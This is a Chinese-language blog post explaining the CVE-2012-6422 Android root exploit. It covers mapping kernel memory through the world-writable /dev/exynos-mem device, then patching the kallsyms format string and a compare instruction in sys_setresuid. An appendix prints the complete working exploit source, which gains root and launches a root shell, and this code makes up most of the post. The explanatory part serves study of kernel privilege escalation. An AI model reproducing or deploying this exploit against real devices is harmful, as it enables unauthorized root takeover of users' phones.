• Android内核sys_setresuid() Patch提权(CVE-2012-6422)


    让我们的Android ROOT,多一点套路。

    一、简单套路

    CVE-2012-6422的漏洞利用代码,展示了另一种提权方法。(见附录)

    这也是一个mmap驱动接口校验导致映射任意内核地址的洞。将内核映射到用户进程空间后,使用setresuid(0, 0, 0)进行提权。

    其步骤如下:

    1. 利用漏洞,映射内核到调用者进程空间
    2. 搜索内核,查找“%pK %c %s ”,并Patch成“%p %c %s ”
    3. 搜索内核,查找sys_setresuid符号地址
    4. 搜索sys_setresuid代码段,查找“0xe3500000” 并Patch为“0xe3500001”
    5. 用户态调用setresuid()提权
    6. 将前面2处Patch恢复原貌

    二、详解

    1)为什么搜索“%pK %c %s ”

    我们获得Linux的内核符号地址,一般首选读取/proc/kallsyms,但由于kptr_restrict的引入(/proc/sys/kernel/kptr_restrict),读到的内核符号地址一般是被抹掉的(0x00000000)。

    查看内核实现,在执行$ cat /proc/kallsyms 时,对应内核代码为s_show()函数:

    527 static int s_show(struct seq_file *m, void *p)
    528 {
    529         struct kallsym_iter *iter = m->private;
    530 
    531         /* Some debugging symbols have no name.  Ignore them. */
    532         if (!iter->name[0])
    533                 return 0;
    534 
    535         if (iter->module_name[0]) {
    536                 char type;
    537 
    538                 /*
    539                  * Label it "global" if it is exported,
    540                  * "local" if not exported.
    541                  */
    542                 type = iter->exported ? toupper(iter->type) :
    543                                         tolower(iter->type);
    544                 seq_printf(m, "%pK %c %s	[%s]
    ", (void *)iter->value,
    545                            type, iter->name, iter->module_name);
    546         } else
    547                 seq_printf(m, "%pK %c %s
    ", (void *)iter->value,
    548                            iter->type, iter->name);
    549         return 0;
    550 }
    

    我们在/proc/kallsyms中看到的3列值,是由下述代码生成:


    547 seq_printf(m, "%pK %c %s ", (void *)iter->value, 548 iter->type, iter->name);

    其中%pK格式符会根据kptr_restrict值,选择是否显示符号地址,默认kptr_restrict值一般为1,即隐藏符号地址。只需要将K替换为空格,即可绕过此限制。

    2)为什么要将sys_setresuid代码的“0xe3500000” Patch为“0xe3500001”

    我们知道,如果成功调用setresuid(0, 0, 0),则会获得root权限,但成功执行此调用需要严格条件,具体描述下。

    setresuid()被执行的条件有:

    1. 当前进程的euid是root

    2. 三个参数,每一个等于原来某个id中的一个

    如果满足以上条件的任意一个,setresuid()都可以正常调用并执行,将进程的ID设置成对应的ID。

    但显然,我们的提权程序不满足上述任何一个条件,那怎么办呢。看代码。

    /*
     * This function implements a generic ability to update ruid, euid,
     * and suid.  This allows you to implement the 4.4 compatible seteuid().
     */
    asmlinkage long sys_setresuid(uid_t ruid, uid_t euid, uid_t suid)
    {
    	int old_ruid = current->uid;
    	int old_euid = current->euid;
    	int old_suid = current->suid;
    	int retval;
    
    	retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES);
    	if (retval)
    		return retval;
    
    	if (!capable(CAP_SETUID)) {
    		if ((ruid != (uid_t) -1) && (ruid != current->uid) &&
    		    (ruid != current->euid) && (ruid != current->suid))
    			return -EPERM;
    		if ((euid != (uid_t) -1) && (euid != current->uid) &&
    		    (euid != current->euid) && (euid != current->suid))
    			return -EPERM;
    		if ((suid != (uid_t) -1) && (suid != current->uid) &&
    		    (suid != current->euid) && (suid != current->suid))
    			return -EPERM;
    	}
    	if (ruid != (uid_t) -1) {
    		if (ruid != current->uid && set_user(ruid, euid != current->euid) < 0)
    			return -EAGAIN;
    	}
    	if (euid != (uid_t) -1) {
    		if (euid != current->euid)
    		{
    			current->mm->dumpable = 0;
    			wmb();
    		}
    		current->euid = euid;
    	}
    	current->fsuid = current->euid;
    	if (suid != (uid_t) -1)
    		current->suid = suid;
    
    	return security_task_post_setuid(old_ruid, old_euid, old_suid, LSM_SETID_RES);
    }
    

    sys_setresuid()的逻辑很简单,首先调用 retval = security_task_setuid(ruid, euid, suid, LSM_SETID_RES); 设置实际用户ID,有效用户ID及保存的设置用户ID,如果成功,直接返回retval。

    setresuid()有个性质,英文名称是all-or-nothing effect,意思是,如果setresuid()对某一个ID设置成功了,其他的失败了,比如只改变了ruid,suid和euid都改失败了,那么程序会将ruid改回原来的值,即保证要么三个ID都能成功修改,要么三个都没能修改成功。

    我们只需要Patch掉下述代码,使其返回成功。

    if (retval)
    	return retval;
    

    而其对应的ARM汇编为:


    cmp r0, #0


    对应字节码为 0xE3500000,只需将其Patch成cmp r0, #1即可,即0xE3500001,所有进程的setresuid(0, 0, 0)都将成功执行,将当前进程提升到root权限。

    ARM Opcodes查询可通过:http://armconverter.com

    三、附录:CVE-2012-6422 exploit

    /*
     * exynos-mem device abuse by alephzain
     *
     * /dev/exynos-mem is present on GS3/GS2/GN2/MEIZU MX
     *
     * the device is R/W by all users :
     * crw-rw-rw-  1 system graphics  1, 14 Dec 13 20:24 /dev/exynos-mem
     *
     */
    
    /*
     * Abuse it for root shell
     */
    #include <stdio.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/ioctl.h>
    #include <stdbool.h>
    
    #define PAGE_OFFSET 0xC0000000
    #define PHYS_OFFSET 0x40000000
    
    int main(int argc, char **argv, char **env) {
    	int fd, i, m, index, result;
    
    	unsigned long *paddr = NULL;
        unsigned long *tmp = NULL;
        unsigned long *restore_ptr_fmt = NULL;
        unsigned long *restore_ptr_setresuid = NULL;
        unsigned long addr_sym;
    
    	int page_size = sysconf(_SC_PAGE_SIZE);
        int length = page_size * page_size;
    
        /* for root shell */
        char *cmd[2];
        cmd[0] = "/system/bin/sh";
        cmd[1] = NULL;
    
        /* /proc/kallsyms parsing */
        FILE *kallsyms = NULL;
        char line [512];
        char *ptr;
        char *str;
    
        bool found = false;
    
        /* open the door */
    	fd = open("/dev/exynos-mem", O_RDWR);
    	if (fd == -1) {
    		printf("[!] Error opening /dev/exynos-mem
    ");
    		exit(1);
    	}
    
        /* kernel reside at the start of physical memory, so take some Mb */
        paddr = (unsigned long *)mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_SHARED, fd, PHYS_OFFSET);
        tmp = paddr;
        if (paddr == MAP_FAILED) {
            printf("[!] Error mmap: %s|%08X
    ",strerror(errno), i);
            exit(1);
        }
    
        /*
         * search the format string "%pK %c %s
    " in memory
         * and replace "%pK" by "%p" to force display kernel
         * symbols pointer
         */
        for(m = 0; m < length; m += 4) {
            if(*(unsigned long *)tmp == 0x204b7025 
                        && *(unsigned long *)(tmp+1) == 0x25206325 
                        && *(unsigned long *)(tmp+2) == 0x00000a73 ) {
                printf("[*] s_show->seq_printf format string found at: 0x%08X
    ", PAGE_OFFSET + m);
                restore_ptr_fmt = tmp;
                *(unsigned long*)tmp = 0x20207025;
                found = true;
                break;
            }
            tmp++;
        }
    
        if (found == false) {
            printf("[!] s_show->seq_printf format string not found
    ");
            exit(1);
        }
    
        found = false;
    
        /* kallsyms now display symbols address */       
        kallsyms = fopen("/proc/kallsyms", "r");
        if (kallsyms == NULL) {
            printf("[!] kallsysms error: %s
    ", strerror(errno));
            exit(1);
        }
    
        /* parse /proc/kallsyms to find sys_setresuid address */
        while((ptr = fgets(line, 512, kallsyms))) {
            str = strtok(ptr, " ");
            addr_sym = strtoul(str, NULL, 16);
            index = 1;
            while(str) {
                str = strtok(NULL, " ");
                index++;
                if (index == 3) {
                    if (strncmp("sys_setresuid
    ", str, 14) == 0) {
                        printf("[*] sys_setresuid found at 0x%08X
    ",addr_sym);
                        found = true;
                    }
                    break;
                }
            }
            if (found) {
                tmp = paddr;
                tmp += (addr_sym - PAGE_OFFSET) >> 2;
                for(m = 0; m < 128; m += 4) {
                    if (*(unsigned long *)tmp == 0xe3500000) {
                        printf("[*] patching sys_setresuid at 0x%08X
    ",addr_sym+m);
                        restore_ptr_setresuid = tmp;
                        *(unsigned long *)tmp = 0xe3500001;
                        break;
                    }
                    tmp++;
                }
                break;
            }
        }
    
        fclose(kallsyms);
    
        /* to be sure memory is updated */
        usleep(100000);
    
        /* ask for root */
        result = setresuid(0, 0, 0);
    
        /* restore memory */
        *(unsigned long *)restore_ptr_fmt = 0x204b7025;
        *(unsigned long *)restore_ptr_setresuid = 0xe3500000;
        munmap(paddr, length);
        close(fd);
    
        if (result) {
            printf("[!] set user root failed: %s
    ", strerror(errno));
            exit(1);
        }
    
        /* execute a root shell */
        execve (cmd[0], cmd, env);
    
        return 0;
    }
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  • 原文地址:https://www.cnblogs.com/gm-201705/p/9863995.html
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